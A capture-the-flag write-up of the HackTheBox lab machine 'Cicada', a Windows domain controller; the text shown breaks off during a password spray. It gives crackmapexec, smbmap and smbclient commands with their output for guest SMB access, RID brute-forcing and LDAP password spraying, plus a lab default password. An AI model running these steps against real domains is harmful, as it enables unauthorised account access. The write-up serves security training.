Week 9. Cicada
TL;DR
This is a Windows Server 2022 machine sharing an SMB resource allowing guest sessions. There we find a password, and subsequently a list of usernames is obtained via RID bruteforce. Doing an LDAP password spray we find the correct username/password association and with them we dump more Active Directory information, including a secrets for another password-protected SMB share, where we finally find credentials for a low-priv WinRM session. Regarding escalation, we abuse SeBackupPrivilege, since the user is member of the Backup Operators group. We dump SAM and SYSTEM secrets and retrieve administrator's hash with Impacket.
KEYWORDS
SMB null sessions, RID bruteforce, LDAP enumeration, password spraying, ldapdomaindump, SeBackupPrivilege, SAM hive, SYSTEM hive, Impacket, reg.py, secretsdump.py.
REFERENCES
https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap
https://github.com/dirkjanm/ldapdomaindump
https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets
ENUMERATION
Port scan.
> nmap $target -p- --min-rate=5000 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-18 11:17 EDT
Nmap scan report for cicada.htb (10.10.11.35)
Host is up, received user-set (0.045s latency).
Not shown: 65523 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack
88/tcp open kerberos-sec syn-ack
135/tcp open msrpc syn-ack
139/tcp open netbios-ssn syn-ack
445/tcp open microsoft-ds syn-ack
464/tcp open kpasswd5 syn-ack
593/tcp open http-rpc-epmap syn-ack
636/tcp open ldapssl syn-ack
3268/tcp open globalcatLDAP syn-ack
3269/tcp open globalcatLDAPssl syn-ack
5985/tcp open wsman syn-ack
49492/tcp open unknown syn-ack
Nmap done: 1 IP address (1 host up) scanned in 26.44 secondsLooks like a domain controller, enumerate the open ports.
> nmap $target -p53,88,135,139,445,464,593,636,3268,3269,5985,49492 -sV -sC -Pn -vv -n
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-18 11:18 EDT
Nmap scan report for 10.10.11.35
Host is up, received user-set (0.040s latency).
Scanned at 2024-10-18 11:18:56 EDT for 98s
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2024-10-18 22:19:24Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec51a2340efb5b83d2c39d8447ddb65
| SHA-1: 2c936d7bcfd811b99f711a5a155d88d34a52157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec51a2340efb5b83d2c39d8447ddb65
| SHA-1: 2c936d7bcfd811b99f711a5a155d88d34a52157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec51a2340efb5b83d2c39d8447ddb65
| SHA-1: 2c936d7bcfd811b99f711a5a155d88d34a52157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49492/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h00m22s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 43674/tcp): CLEAN (Timeout)
| Check 2 (port 23642/tcp): CLEAN (Timeout)
| Check 3 (port 11829/udp): CLEAN (Timeout)
| Check 4 (port 62917/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
| date: 2024-10-18T22:20:18
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
Nmap done: 1 IP address (1 host up) scanned in 99.13 secondsEnumerate the SMB share for null sessions.
> smbmap -H cicada.htb -u guest
[+] IP: cicada.htb:445 Name: unknown
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
DEV NO ACCESS
HR READ ONLY
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
SYSVOL NO ACCESS Logon server shareWe have guest access to HR resource, connect to the share and enumerate its contents.
> smbclient \\\\cicada.htb\\HR -U=guest
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Mar 14 08:29:09 2024
.. D 0 Thu Mar 14 08:21:29 2024
Notice from HR.txt A 1266 Wed Aug 28 13:31:48 2024
4168447 blocks of size 4096. 332350 blocks available
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (8.0 KiloBytes/sec) (average 8.0 KiloBytes/sec)
smb: \> exitRead the text note.
> cat Notice\ from\ HR.txt
Dear new hire!
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.
Your default password is: Cicada$M6Corpb*@Lp#nZp!8
To change your password:
1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.
Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.
If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp USER
We have disclosed a password, now we need a username to use it. Since there is an SMB share that accepts null sessions, we can try an RID bruteforce (see Week 4. Manager and Week 4. SolarLab).
> crackmapexec smb cicada.htb -u guest -p '' --rid-brute
SMB 10.10.11.35 445 CICADA-DC [*] Windows 10.0 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\guest:
SMB 10.10.11.35 445 CICADA-DC [+] Brute forcing RIDs
SMB 10.10.11.35 445 CICADA-DC 498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 500: CICADA\Administrator (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 501: CICADA\Guest (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 502: CICADA\krbtgt (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 512: CICADA\Domain Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 513: CICADA\Domain Users (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 514: CICADA\Domain Guests (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 515: CICADA\Domain Computers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 516: CICADA\Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 517: CICADA\Cert Publishers (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 518: CICADA\Schema Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 519: CICADA\Enterprise Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 525: CICADA\Protected Users (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 526: CICADA\Key Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1101: CICADA\DnsAdmins (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1103: CICADA\Groups (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1104: CICADA\john.smoulder (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1105: CICADA\sarah.dantelia (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1109: CICADA\Dev Support (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)We a retrieved a list of usernames so let's spray the password.
> crackmapexec smb cicada.htb -u userlist -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success
SMB 10.10.11.35 445 CICADA-DC [*] Windows 10.0 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\enterprise:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\domain:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\domain:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\domain:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\domain:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\domain:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\cert:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\schema:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\enterprise:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\group:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\read-only:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\cloneable:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\protected:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\key:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\enterprise:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\ras:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\allowed:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\denied:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\cicada-dc$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\dnsadmins:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\dnsupdateproxy:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\groups:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\dev:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIED
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8 STATUS_ACCESS_DENIEDDidn't work for the SMB protocol, try with LDAP.
> crackmapexec ldap cicada.htb --kdcHost $target -u userlist -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success
LDAP 10.10.11.35 389 CICADA-DC [*] Windows 10.0 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\enterprise:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [-] cicada.htb\administrator:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [-] cicada.htb\guest:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\domain:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\domain:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\domain:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\domain:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\domain:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\cert:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\schema:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\enterprise:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\group:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\read-only:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\cloneable:Cicada$M6Corpb*@Lp#nZp!8
